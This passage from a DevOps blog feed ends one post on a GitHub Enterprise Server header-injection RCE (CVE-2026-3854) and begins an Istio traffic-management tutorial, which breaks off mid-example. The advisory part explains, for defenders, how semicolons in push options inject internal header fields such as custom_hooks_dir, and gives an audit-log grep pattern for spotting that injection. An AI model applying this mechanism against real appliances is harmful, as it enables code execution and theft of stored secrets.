<td>3.20.0</td>
</tr>
</tbody></table>
<p>Help Net Security&#39;s scan of internet-reachable GHES instances on April 29, 2026 found 88% were on a vulnerable version. If your GHES is exposed to the internet at all, assume someone has already fingerprinted it.</p>
<h2 id="h2-what-to-do-right-now" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-right-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do Right Now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-right-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-upgrade-ghes" class="group relative scroll-mt-24">
        <a href="#h3-1-upgrade-ghes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Upgrade GHES
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-upgrade-ghes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the only real fix. Apply the patch release for your branch. The upgrade is a hotpatch on most versions, so it is fast:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># On the GHES appliance</span>
ghe-upgrade /path/to/github-enterprise-3.19.4.hpkg

<span class="hljs-comment"># Verify</span>
ghe-version
</code></pre><p>If you are more than two minor versions behind, do a staged upgrade through the intermediate releases. GitHub publishes the supported upgrade paths in the GHES upgrade docs; do not skip them.</p>
<h3 id="h3-2-audit-your-push-logs-for-the-ioc" class="group relative scroll-mt-24">
        <a href="#h3-2-audit-your-push-logs-for-the-ioc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Audit your push logs for the IoC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-audit-your-push-logs-for-the-ioc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The exploit requires a semicolon inside a push option. That is not something legitimate tooling produces. Grep the audit log:</p>
<pre><code class="hljs language-bash"><span class="hljs-built_in">sudo</span> zgrep -E <span class="hljs-string">&#x27;push_option.*;&#x27;</span> /var/log/github/audit.log* | less
</code></pre><p>Or via the audit log UI, filter for events of type <code>git.push</code> and search for <code>push_option</code> entries that contain <code>;</code>. Anything that matches is suspicious. Anything from before the patch date and from a user account you do not recognize should be treated as a confirmed compromise indicator, not a maybe.</p>
<p>GitHub also recommends checking for unusual values of the following X-Stat-derived fields in any internal logs you have:</p>
<ul>
<li><code>rails_env</code> set to anything other than <code>production</code></li>
<li><code>custom_hooks_dir</code> pointing outside <code>/data/user/git-hooks</code></li>
<li><code>repo_pre_receive_hooks</code> containing path traversal sequences (<code>..</code>)</li>
</ul>
<h3 id="h3-3-rotate-appliance-scoped-secrets-if-you-find-an-ioc" class="group relative scroll-mt-24">
        <a href="#h3-3-rotate-appliance-scoped-secrets-if-you-find-an-ioc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Rotate appliance-scoped secrets if you find an IoC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-rotate-appliance-scoped-secrets-if-you-find-an-ioc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If a push with a <code>;</code> in <code>push_option</code> predates your upgrade and the user is not who you think, treat the appliance as compromised:</p>
<ul>
<li><input disabled="" type="checkbox"> All deploy keys and machine user tokens</li>
<li><input disabled="" type="checkbox"> OAuth app and GitHub App private keys</li>
<li><input disabled="" type="checkbox"> Webhook secrets</li>
<li><input disabled="" type="checkbox"> Actions runner registration tokens</li>
<li><input disabled="" type="checkbox"> LDAP/SAML signing certs and any service-account credentials</li>
<li><input disabled="" type="checkbox"> Any cloud credentials stored in repo secrets</li>
</ul>
<p>The pre-receive binary runs as the <code>git</code> user, which can read every repo on the appliance. Treat secrets that lived in any repo as exposed, not just the repo the attacker pushed to.</p>
<h3 id="h3-4-review-your-github-app-and-oauth-scopes" class="group relative scroll-mt-24">
        <a href="#h3-4-review-your-github-app-and-oauth-scopes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Review your GitHub App and OAuth scopes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-review-your-github-app-and-oauth-scopes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The exploit&#39;s blast radius on GHES includes anything the appliance can call out to. If an integration&#39;s webhook is signed with a secret stored on the appliance, the secret is in scope. Work outwards from the appliance and trim scopes on connected services that do not need write access.</p>
<h3 id="h3-5-lock-down-authenticated-user-with-push-access" class="group relative scroll-mt-24">
        <a href="#h3-5-lock-down-authenticated-user-with-push-access" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Lock down "authenticated user with push access"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-lock-down-authenticated-user-with-push-access"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If your GHES allows self-service repository creation, every authenticated user on the appliance has push access to at least one repository (theirs). On a GHES that exposes SSH or HTTPS to the internet, every authenticated user is a potential exploit precondition. Until you have upgraded:</p>
<ul>
<li>Disable repository creation for unprivileged users.</li>
<li>Restrict SSH and HTTPS to the corporate network or a VPN.</li>
<li>Disable inbound network access to the appliance from anywhere you do not control.</li>
</ul>
<p>These are not fixes, they shrink the attack surface while you patch.</p>
<h2 id="h2-why-internal-headers-keep-biting" class="group relative scroll-mt-24">
        <a href="#h2-why-internal-headers-keep-biting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why "internal headers" keep biting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-internal-headers-keep-biting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>CVE-2026-3854 is a textbook header-injection bug, and they keep happening for the same reason: services use a delimiter character that can also appear in user input, and the boundary between &quot;trusted internal metadata&quot; and &quot;user-controlled value&quot; is enforced by an honor system.</p>
<p>A few patterns to learn from this:</p>
<p><strong>Pick a delimiter that cannot appear in untrusted input, or escape it.</strong> Semicolons are common in user data (URLs, MIME types, semicolon-separated CSV-ish strings). If you are going to use one as a field separator, you must escape or strip it on the way in. Better, use a length-prefixed binary format or JSON between services and let the parser handle it.</p>
<p><strong>Treat downstream services as if they will trust whatever you send them.</strong> babeld assumed gitrpcd would re-validate. gitrpcd assumed gitauth had set the trusted fields. The pre-receive binary assumed both. Nobody re-validated the join. This is the opposite of defense in depth.</p>
<p><strong>Test with adversarial inputs across service boundaries.</strong> A unit test for babeld&#39;s push-option handling never noticed because the test inputs did not contain <code>;</code>. A unit test for gitrpcd&#39;s <code>X-Stat</code> parser never noticed because the test inputs were synthesized internally. The bug only existed at the seam.</p>
<p><strong>Internal headers deserve the same paranoia as external APIs.</strong> &quot;Only our own services talk to it&quot; is not a security control when one of those services accepts user input.</p>
<h2 id="h2-why-this-matters-for-devops-teams" class="group relative scroll-mt-24">
        <a href="#h2-why-this-matters-for-devops-teams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This Matters for DevOps Teams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-matters-for-devops-teams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few things stand out about this CVE beyond the immediate patch:</p>
<p><strong>Self-hosted does not mean low risk.</strong> GHES is the version of GitHub that runs inside your perimeter, often behind a VPN, often configured as the canonical source of truth for an organization&#39;s code. The appliance also stores deploy keys, webhook secrets, OIDC trust relationships, and Actions runner tokens. A single RCE on the appliance is, for most orgs, equivalent to a full software supply chain compromise.</p>
<p><strong>Push options are user input.</strong> Most teams treat <code>git push -o</code> as a tooling channel for things like CI flags or merge-queue annotations. The protocol does not give those values any privileged status; they are user-supplied strings. If you write tools that consume push options server-side, sanitize them like you would any other request body.</p>
<p><strong>Patch latency is the actual risk.</strong> GitHub patched github.com in 75 minutes. The same fix took two months to reach 88% of self-hosted instances. That is not a vendor problem; that is the organization owning the appliance not having an upgrade rhythm. Build the cadence before the next CVE.</p>
<p><strong>Your audit logs are the only proof you have.</strong> If you do not capture push options today, you cannot answer &quot;were we exploited&quot; for this CVE except by trusting that nobody noticed. Make sure your GHES audit log retention is at least 90 days, that you ship audit events into a SIEM you actually search, and that the retention covers the full disclosure-to-patch window for the vulnerabilities you have not seen yet.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Upgrade GHES today</strong> to 3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.7, 3.19.4, or 3.20.0.</li>
<li><strong>Grep audit logs</strong> for <code>;</code> inside <code>push_option</code> values. That is the IoC. Anything matching from before your upgrade is a treat-as-compromised event.</li>
<li><strong>Rotate appliance-scoped secrets</strong> if you find an IoC: deploy keys, App private keys, webhook secrets, runner registration tokens, repo secrets.</li>
<li><strong>Restrict the attack precondition.</strong> If your GHES is internet-reachable, assume someone has fingerprinted it. Move SSH and HTTPS behind a VPN until you patch.</li>
<li><strong>Build a GHES upgrade cadence.</strong> 88% of internet-reachable instances were unpatched two months after the fix shipped. The next CVE is already on someone&#39;s disclosure timeline.</li>
<li><strong>Treat internal service headers like external APIs.</strong> Delimiter-based formats with no escaping at the seam are how this bug existed; the seam is where you should test.</li>
</ol>
<p>The bug itself was a one-character oversight. The two-month window between fix and field deployment is the part DevOps teams own.</p>
<p><em>Sources: <a href="https://github.blog/security/securing-the-git-push-pipeline-responding-to-a-critical-remote-code-execution-vulnerability/">GitHub Security Blog</a>, <a href="https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854">Wiz Research</a>, <a href="https://thehackernews.com/2026/04/researchers-discover-critical-github.html">The Hacker News</a>, <a href="https://www.helpnetsecurity.com/2026/04/29/cve-2026-3854-github-rce-vulnerability/">Help Net Security</a>, <a href="https://cybersecuritynews.com/github-com-and-enterprise-server-rce/">Cybersecurity News</a></em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Istio Traffic Management: Routing, Retries, and Circuit Breaking]]></title>
      <link>https://devops.anhp.site/posts/istio-traffic-management-routing-retries-circuit-breaking</link>
      <description><![CDATA[Configure weighted routing, automatic retries, and circuit breakers in Istio with copy-paste YAML examples and real kubectl output you can verify on your own cluster.]]></description>
      <pubDate>Mon, 04 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/istio-traffic-management-routing-retries-circuit-breaking</guid>
      <category><![CDATA[Kubernetes]]></category>
      
      <category><![CDATA[Istio]]></category><category><![CDATA[service-mesh]]></category><category><![CDATA[traffic-management]]></category><category><![CDATA[Kubernetes]]></category><category><![CDATA[Networking]]></category><category><![CDATA[DevOps]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Istio gives you three traffic controls every production service needs: weighted routing for safe rollouts, retries for handling flaky downstream calls, and circuit breakers to stop cascading failures. You configure them with <code>VirtualService</code> and <code>DestinationRule</code> objects. This post walks through each one with working YAML, real terminal output, and the gotchas that bite people in production.</p>
<p>You shipped a new version of your <code>payments</code> service. Half the traffic now hits v2, and v2 is timing out against a slow downstream API. Within ninety seconds your <code>checkout</code> service is also degraded because every request is waiting on payments. By the time you roll back, three more services are slow and your error budget is gone for the quarter.</p>
<p>This is the failure pattern Istio is built to prevent. Not the deploy itself, but the blast radius. With a few lines of YAML you can shift traffic gradually, retry transient failures without writing retry code in every service, and trip a circuit breaker so a sick instance gets isolated instead of dragging down its callers.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A Kubernetes cluster with Istio 1.20+ installed (<code>istioctl version</code> should return both client and control plane versions)</li>
<li>The <code>istio-injection=enabled</code> label on the namespace you are working in</li>
<li><code>kubectl</code> access and basic familiarity with <code>apply</code>, <code>get</code>, and <code>describe</code></li>
<li>Two or more versions of a sample service deployed (this post uses the standard <code>httpbin</code> and a custom <code>reviews</code> example)</li>
</ul>
<p>You can check injection is on with:</p>
<pre><code class="hljs language-bash">kubectl get namespace default --show-labels
</code></pre><p>Output should include <code>istio-injection=enabled</code>. If it doesn&#39;t, label it:</p>
<pre><code class="hljs language-bash">kubectl label namespace default istio-injection=enabled
</code></pre><h2 id="h2-the-two-objects-you-need-to-know" class="group relative scroll-mt-24">
        <a href="#h2-the-two-objects-you-need-to-know" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Two Objects You Need to Know
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-two-objects-you-need-to-know"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Istio&#39;s traffic policies live in two CRDs:</p>
<ul>
<li><strong>VirtualService</strong>: defines <em>how</em> requests are routed. Match on host, path, header, weight.</li>
<li><strong>DestinationRule</strong>: defines <em>what happens after</em> the route is picked. Subsets, load balancing, connection pools, outlier detection.</li>
</ul>
<p>A common mistake is putting circuit breaker settings in a VirtualService. They don&#39;t belong there. Circuit breakers are a property of the destination, not the route.</p>
<pre><code class="hljs language-text">Client → VirtualService (routing decision) → DestinationRule (subset + policy) → Pod
</code></pre><p>Keep this mental model. It saves a lot of debugging.</p>
<h2 id="h2-weighted-routing-for-canary-deploys" class="group relative scroll-mt-24">
        <a href="#h2-weighted-routing-for-canary-deploys" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Weighted Routing for Canary Deploys
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-weighted-routing-for-canary-deploys"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Say you have two deployments of <code>reviews</code>: v1 (stable) and v2 (new). You want 90% of traffic on v1 and 10% on v2 to start.</p>
<p>First, define the subsets in a DestinationRule. Subsets are how Istio knows what &quot;v1&quot; and &quot;v2&quot; mean.</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">DestinationRule</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">reviews</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
  <span class="hljs-attr">subsets:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">v1</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">version:</span> <span class="hljs-string">v1</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">v2</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">version:</span> <span class="hljs-string">v2</span>
</code></pre><p>The <code>labels</code> field matches pod labels. So your <code>reviews-v1</code> deployment needs <code>version: v1</code> on its pod template, and <code>reviews-v2</code> needs <code>version: v2</code>. If the labels don&#39;t match, the subset routes to zero pods and you get 503s.</p>
<p>Now the VirtualService that splits traffic:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">VirtualService</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">reviews</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hosts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">reviews</span>
  <span class="hljs-attr">http:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">route:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v1</span>
          <span class="hljs-attr">weight:</span> <span class="hljs-number">90</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v2</span>
          <span class="hljs-attr">weight:</span> <span class="hljs-number">10</span>
</code></pre><p>Apply both, then verify the routing:</p>
<pre><code class="hljs language-bash">kubectl apply -f reviews-destinationrule.yaml
kubectl apply -f reviews-virtualservice.yaml

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> {1..20}; <span class="hljs-keyword">do</span>
  kubectl <span class="hljs-built_in">exec</span> deploy/curl -- curl -s reviews:9080/version
<span class="hljs-keyword">done</span> | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c
</code></pre><p>Expected output for a 90/10 split over 20 requests:</p>
<pre><code class="hljs language-text">     18 v1
      2 v2
</code></pre><p>The split is statistical, not exact. Don&#39;t expect 9 out of 10 every single time. Over a few thousand requests it converges.</p>
<p>To shift to 50/50, just edit the weights and re-apply. No pod restarts. No DNS changes. The Envoy sidecars pick up the new config in a few seconds.</p>
<h3 id="h3-routing-by-header" class="group relative scroll-mt-24">
        <a href="#h3-routing-by-header" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Routing by Header
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-routing-by-header"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Weighted splits are great for percentage rollouts. But sometimes you want only specific users (your QA team, your own account) to hit v2. Match on a header:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">VirtualService</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">reviews</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hosts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">reviews</span>
  <span class="hljs-attr">http:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">match:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">headers:</span>
            <span class="hljs-attr">x-user-tier:</span>
              <span class="hljs-attr">exact:</span> <span class="hljs-string">internal</span>
      <span class="hljs-attr">route:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v2</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">route:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v1</span>
</code></pre><p>The order matters. Istio evaluates rules top to bottom and uses the first match. Put the specific header rule first; the catch-all default goes last.</p>
<h2 id="h2-retries-stop-writing-retry-code-in-every-service" class="group relative scroll-mt-24">
        <a href="#h2-retries-stop-writing-retry-code-in-every-service" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Retries: Stop Writing Retry Code in Every Service
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-retries-stop-writing-retry-code-in-every-service"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Every team writes the same broken retry loop. Three retries, fixed backoff, no jitter, retries on POST, retries on 4xx errors. Then the downstream service has a brief blip and gets hit with a thundering herd.</p>
<p>Push retries into Istio. One config, applied to every call out of the mesh, with backoff and proper status code matching.</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">VirtualService</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">reviews</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hosts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">reviews</span>
  <span class="hljs-attr">http:</span>
